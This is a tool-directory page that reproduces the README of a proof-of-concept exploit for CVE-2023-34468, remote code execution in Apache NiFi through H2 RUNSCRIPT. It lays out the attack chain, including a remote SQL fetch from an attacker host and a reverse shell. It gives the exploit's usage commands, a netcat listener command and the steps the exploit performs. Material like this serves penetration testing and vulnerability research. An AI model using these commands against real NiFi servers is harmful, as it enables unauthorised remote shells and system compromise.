Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-34468-POC — PoC exploit for CVE-2023-34468 — RCE via H2 RUNSCRIPT in Apache NiFi <= 1.21.0 | Kitploit
Tools/GitHubGitHub/sbouabid-sec/cve-2023-34468-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubsbouabid-sec/cve-2023-34468-poc

CVE-2023-34468-POC

PoC exploit for CVE-2023-34468 — RCE via H2 RUNSCRIPT in Apache NiFi <= 1.21.0

View Repository
43 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-34468 — Apache NiFi 1.21.0 RCE PoC

Remote Code Execution via H2 Database RUNSCRIPT in Apache NiFi <= 1.21.0


Vulnerability

Apache NiFi ships with an H2 database JAR bundled by default. The DBCPConnectionPool controller service can be configured to use this H2 driver. H2 supports a RUNSCRIPT statement that fetches and executes a SQL file from a remote URL. That SQL file can define arbitrary Java code via CREATE ALIAS and execute it on the server OS.

Attack chain:

root@kitploit:~
DBCPConnectionPool (H2 driver)
    → ExecuteSQL processor
        → RUNSCRIPT FROM http://attacker/rce.sql
            → CREATE ALIAS (Java method)
                → CALL SHELLEXEC (reverse shell)

Affected Versions

SoftwareVersion
Apache NiFi<= 1.21.0
Fixed in1.21.1+
JavaAny (bundled)

Requirements

  • Python 3.x
  • requests library → pip install requests
  • NiFi target with anonymous write access OR valid credentials
  • Network access from target to your machine (for reverse shell callback)

Usage

root@kitploit:~
python3 poc.py --target http://NiFi.target.com \
               --lhost 10.10.10.10 \
               --lport 4444 \
               --http-port 80 \
               --cleanup

Arguments


Setup

Terminal 1 — listener:

root@kitploit:~
nc -lvnp 4444

Terminal 2 — exploit:

root@kitploit:~
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup

What the PoC Does

root@kitploit:~
Step 1  Check anonymous access and write permissions
Step 2  Get root Process Group ID
Step 3  Create malicious DBCPConnectionPool controller service
Step 4  Enable the controller service (handles revision versioning)
Step 5  Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6  Start the processor → NiFi fetches rce.sql → shell callback
Step 7  Cleanup (if --cleanup flag is set)
Download Tool
ArgumentDefaultDescription
--targethttp://NiFi.target.comTarget NiFi base URL
--lhost10.10.10.10Your IP (tun0)
--lport4444Reverse shell listener port
--http-port80Port to serve rce.sql
--cleanupFalseDelete created artifacts after run